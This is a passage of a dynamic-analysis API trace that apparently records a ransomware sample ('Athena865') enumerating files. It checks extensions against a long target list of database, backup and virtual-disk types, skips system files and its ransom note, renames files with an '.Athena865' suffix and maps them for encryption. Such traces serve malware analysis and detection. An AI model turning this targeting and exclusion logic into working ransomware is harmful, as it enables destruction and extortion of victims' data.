(lpString1="DLL", lpString2="oqy") returned -1 [0085.261] lstrlenW (lpString="ora") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0085.261] lstrlenW (lpString="orx") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0085.261] lstrlenW (lpString="owc") returned 3 [0085.261] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0085.261] lstrlenW (lpString="p96") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0085.262] lstrlenW (lpString="p97") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0085.262] lstrlenW (lpString="pan") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0085.262] lstrlenW (lpString="pdb") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0085.262] lstrlenW (lpString="pdm") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0085.262] lstrlenW (lpString="pnz") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0085.262] lstrlenW (lpString="qry") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0085.262] lstrlenW (lpString="qvd") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0085.262] lstrlenW (lpString="rbf") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0085.262] lstrlenW (lpString="rctd") returned 4 [0085.262] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0085.262] lstrlenW (lpString="rod") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0085.262] lstrlenW (lpString="rodx") returned 4 [0085.262] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0085.262] lstrlenW (lpString="rpd") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0085.262] lstrlenW (lpString="rsd") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0085.262] lstrlenW (lpString="sas7bdat") returned 8 [0085.262] lstrcmpiW (lpString1="RATE.DLL", lpString2="sas7bdat") returned -1 [0085.262] lstrlenW (lpString="sbf") returned 3 [0085.262] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0085.262] lstrlenW (lpString="scx") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0085.263] lstrlenW (lpString="sdb") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0085.263] lstrlenW (lpString="sdc") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0085.263] lstrlenW (lpString="sdf") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0085.263] lstrlenW (lpString="sis") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0085.263] lstrlenW (lpString="spq") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0085.263] lstrlenW (lpString="te") returned 2 [0085.263] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0085.263] lstrlenW (lpString="teacher") returned 7 [0085.263] lstrcmpiW (lpString1="ATE.DLL", lpString2="teacher") returned -1 [0085.263] lstrlenW (lpString="tmd") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0085.263] lstrlenW (lpString="tps") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0085.263] lstrlenW (lpString="trc") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.263] lstrlenW (lpString="trc") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0085.263] lstrlenW (lpString="trm") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0085.263] lstrlenW (lpString="udb") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0085.263] lstrlenW (lpString="udl") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0085.263] lstrlenW (lpString="usr") returned 3 [0085.263] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0085.264] lstrlenW (lpString="v12") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0085.264] lstrlenW (lpString="vis") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0085.264] lstrlenW (lpString="vpd") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0085.264] lstrlenW (lpString="vvv") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0085.264] lstrlenW (lpString="wdb") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0085.264] lstrlenW (lpString="wmdb") returned 4 [0085.264] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0085.264] lstrlenW (lpString="wrk") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0085.264] lstrlenW (lpString="xdb") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0085.264] lstrlenW (lpString="xld") returned 3 [0085.264] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0085.264] lstrlenW (lpString="xmlff") returned 5 [0085.264] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0085.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL.Athena865") returned 65 [0085.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\smigrate.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\smigrate.dll.athena865"), dwFlags=0x1) returned 1 [0085.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\smigrate.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0085.267] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=228720) returned 1 [0085.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.268] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.268] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.269] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.269] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38070, lpName=0x0) returned 0x17c [0085.271] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38070) returned 0x170000 [0085.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.298] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.298] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.299] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.299] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0085.301] CloseHandle (hObject=0x17c) returned 1 [0085.301] CloseHandle (hObject=0x154) returned 1 [0085.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.302] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0xa8b90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOA.DLL", cAlternateFileName="")) returned 1 [0085.302] lstrcmpiW (lpString1="SOA.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.302] lstrcmpiW (lpString1="SOA.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.302] lstrcmpiW (lpString1="SOA.DLL", lpString2=".") returned 1 [0085.302] lstrcmpiW (lpString1="SOA.DLL", lpString2="..") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="windows") returned -1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="bootmgr") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="temp") returned -1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="pagefile.sys") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="boot") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="ids.txt") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="ntuser.dat") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="perflogs") returned 1 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2="MSBuild") returned 1 [0085.303] lstrlenW (lpString="SOA.DLL") returned 7 [0085.303] lstrcpyW (in: lpString1=0x241e89e, lpString2="SOA.DLL" | out: lpString1="SOA.DLL") returned="SOA.DLL" [0085.303] lstrlenW (lpString="SOA.DLL") returned 7 [0085.303] lstrlenW (lpString="Athena865") returned 9 [0085.303] lstrlenW (lpString=".dll") returned 4 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2=".dll") returned 1 [0085.303] lstrlenW (lpString=".lnk") returned 4 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2=".lnk") returned 1 [0085.303] lstrlenW (lpString=".ini") returned 4 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2=".ini") returned 1 [0085.303] lstrlenW (lpString=".sys") returned 4 [0085.303] lstrcmpiW (lpString1="SOA.DLL", lpString2=".sys") returned 1 [0085.303] lstrlenW (lpString="SOA.DLL") returned 7 [0085.303] lstrlenW (lpString="bak") returned 3 [0085.303] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0085.303] lstrlenW (lpString="ba_") returned 3 [0085.303] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0085.303] lstrlenW (lpString="dbb") returned 3 [0085.303] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0085.303] lstrlenW (lpString="vmdk") returned 4 [0085.303] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0085.303] lstrlenW (lpString="rar") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0085.304] lstrlenW (lpString="zip") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0085.304] lstrlenW (lpString="tgz") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0085.304] lstrlenW (lpString="vbox") returned 4 [0085.304] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0085.304] lstrlenW (lpString="vdi") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0085.304] lstrlenW (lpString="vhd") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0085.304] lstrlenW (lpString="vhdx") returned 4 [0085.304] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0085.304] lstrlenW (lpString="avhd") returned 4 [0085.304] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0085.304] lstrlenW (lpString="db") returned 2 [0085.304] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0085.304] lstrlenW (lpString="db2") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0085.304] lstrlenW (lpString="db3") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0085.304] lstrlenW (lpString="dbf") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0085.304] lstrlenW (lpString="mdf") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0085.304] lstrlenW (lpString="mdb") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0085.304] lstrlenW (lpString="sql") returned 3 [0085.304] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0085.304] lstrlenW (lpString="sqlite") returned 6 [0085.304] lstrcmpiW (lpString1="OA.DLL", lpString2="sqlite") returned -1 [0085.304] lstrlenW (lpString="sqlite3") returned 7 [0085.305] lstrlenW (lpString="sqlitedb") returned 8 [0085.305] lstrlenW (lpString="xml") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0085.305] lstrlenW (lpString="$er") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0085.305] lstrlenW (lpString="4dd") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0085.305] lstrlenW (lpString="4dl") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0085.305] lstrlenW (lpString="^^^") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0085.305] lstrlenW (lpString="abs") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0085.305] lstrlenW (lpString="abx") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0085.305] lstrlenW (lpString="accdb") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accdb") returned -1 [0085.305] lstrlenW (lpString="accdc") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accdc") returned -1 [0085.305] lstrlenW (lpString="accde") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accde") returned -1 [0085.305] lstrlenW (lpString="accdr") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accdr") returned -1 [0085.305] lstrlenW (lpString="accdt") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accdt") returned -1 [0085.305] lstrlenW (lpString="accdw") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accdw") returned -1 [0085.305] lstrlenW (lpString="accft") returned 5 [0085.305] lstrcmpiW (lpString1="A.DLL", lpString2="accft") returned -1 [0085.305] lstrlenW (lpString="adb") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.305] lstrlenW (lpString="adb") returned 3 [0085.305] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0085.306] lstrlenW (lpString="ade") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0085.306] lstrlenW (lpString="adf") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0085.306] lstrlenW (lpString="adn") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0085.306] lstrlenW (lpString="adp") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0085.306] lstrlenW (lpString="alf") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0085.306] lstrlenW (lpString="ask") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0085.306] lstrlenW (lpString="btr") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0085.306] lstrlenW (lpString="cat") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0085.306] lstrlenW (lpString="cdb") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0085.306] lstrlenW (lpString="ckp") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0085.306] lstrlenW (lpString="cma") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0085.306] lstrlenW (lpString="cpd") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0085.306] lstrlenW (lpString="dacpac") returned 6 [0085.306] lstrcmpiW (lpString1="OA.DLL", lpString2="dacpac") returned 1 [0085.306] lstrlenW (lpString="dad") returned 3 [0085.306] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0085.306] lstrlenW (lpString="dadiagrams") returned 10 [0085.306] lstrlenW (lpString="daschema") returned 8 [0085.307] lstrlenW (lpString="db-journal") returned 10 [0085.307] lstrlenW (lpString="db-shm") returned 6 [0085.307] lstrcmpiW (lpString1="OA.DLL", lpString2="db-shm") returned 1 [0085.307] lstrlenW (lpString="db-wal") returned 6 [0085.307] lstrcmpiW (lpString1="OA.DLL", lpString2="db-wal") returned 1 [0085.307] lstrlenW (lpString="dbc") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0085.307] lstrlenW (lpString="dbs") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0085.307] lstrlenW (lpString="dbt") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0085.307] lstrlenW (lpString="dbv") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0085.307] lstrlenW (lpString="dbx") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0085.307] lstrlenW (lpString="dcb") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0085.307] lstrlenW (lpString="dct") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0085.307] lstrlenW (lpString="dcx") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0085.307] lstrlenW (lpString="ddl") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0085.307] lstrlenW (lpString="dlis") returned 4 [0085.307] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0085.307] lstrlenW (lpString="dp1") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0085.307] lstrlenW (lpString="dqy") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0085.307] lstrlenW (lpString="dsk") returned 3 [0085.307] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0085.307] lstrlenW (lpString="dsn") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0085.308] lstrlenW (lpString="dtsx") returned 4 [0085.308] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0085.308] lstrlenW (lpString="dxl") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0085.308] lstrlenW (lpString="eco") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0085.308] lstrlenW (lpString="ecx") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0085.308] lstrlenW (lpString="edb") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0085.308] lstrlenW (lpString="epim") returned 4 [0085.308] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0085.308] lstrlenW (lpString="fcd") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0085.308] lstrlenW (lpString="fdb") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0085.308] lstrlenW (lpString="fic") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0085.308] lstrlenW (lpString="flexolibrary") returned 12 [0085.308] lstrlenW (lpString="fm5") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0085.308] lstrlenW (lpString="fmp") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0085.308] lstrlenW (lpString="fmp12") returned 5 [0085.308] lstrcmpiW (lpString1="A.DLL", lpString2="fmp12") returned -1 [0085.308] lstrlenW (lpString="fmpsl") returned 5 [0085.308] lstrcmpiW (lpString1="A.DLL", lpString2="fmpsl") returned -1 [0085.308] lstrlenW (lpString="fol") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0085.308] lstrlenW (lpString="fp3") returned 3 [0085.308] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0085.308] lstrlenW (lpString="fp4") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0085.309] lstrlenW (lpString="fp5") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0085.309] lstrlenW (lpString="fp7") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0085.309] lstrlenW (lpString="fpt") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0085.309] lstrlenW (lpString="frm") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0085.309] lstrlenW (lpString="gdb") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.309] lstrlenW (lpString="gdb") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0085.309] lstrlenW (lpString="grdb") returned 4 [0085.309] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0085.309] lstrlenW (lpString="gwi") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0085.309] lstrlenW (lpString="hdb") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0085.309] lstrlenW (lpString="his") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0085.309] lstrlenW (lpString="ib") returned 2 [0085.309] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0085.309] lstrlenW (lpString="idb") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0085.309] lstrlenW (lpString="ihx") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0085.309] lstrlenW (lpString="itdb") returned 4 [0085.309] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0085.309] lstrlenW (lpString="itw") returned 3 [0085.309] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0085.309] lstrlenW (lpString="jet") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0085.310] lstrlenW (lpString="jtx") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0085.310] lstrlenW (lpString="kdb") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0085.310] lstrlenW (lpString="kexi") returned 4 [0085.310] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0085.310] lstrlenW (lpString="kexic") returned 5 [0085.310] lstrcmpiW (lpString1="A.DLL", lpString2="kexic") returned -1 [0085.310] lstrlenW (lpString="kexis") returned 5 [0085.310] lstrcmpiW (lpString1="A.DLL", lpString2="kexis") returned -1 [0085.310] lstrlenW (lpString="lgc") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0085.310] lstrlenW (lpString="lwx") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0085.310] lstrlenW (lpString="maf") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0085.310] lstrlenW (lpString="maq") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0085.310] lstrlenW (lpString="mar") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0085.310] lstrlenW (lpString="marshal") returned 7 [0085.310] lstrlenW (lpString="mas") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0085.310] lstrlenW (lpString="mav") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0085.310] lstrlenW (lpString="maw") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0085.310] lstrlenW (lpString="mdbhtml") returned 7 [0085.310] lstrlenW (lpString="mdn") returned 3 [0085.310] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0085.310] lstrlenW (lpString="mdt") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0085.311] lstrlenW (lpString="mfd") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0085.311] lstrlenW (lpString="mpd") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0085.311] lstrlenW (lpString="mrg") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0085.311] lstrlenW (lpString="mud") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0085.311] lstrlenW (lpString="mwb") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0085.311] lstrlenW (lpString="myd") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0085.311] lstrlenW (lpString="ndf") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0085.311] lstrlenW (lpString="nnt") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0085.311] lstrlenW (lpString="nrmlib") returned 6 [0085.311] lstrcmpiW (lpString1="OA.DLL", lpString2="nrmlib") returned 1 [0085.311] lstrlenW (lpString="ns2") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0085.311] lstrlenW (lpString="ns3") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0085.311] lstrlenW (lpString="ns4") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0085.311] lstrlenW (lpString="nsf") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0085.311] lstrlenW (lpString="nv") returned 2 [0085.311] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0085.311] lstrlenW (lpString="nv2") returned 3 [0085.311] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0085.311] lstrlenW (lpString="nwdb") returned 4 [0085.312] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0085.312] lstrlenW (lpString="nyf") returned 3 [0085.312] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 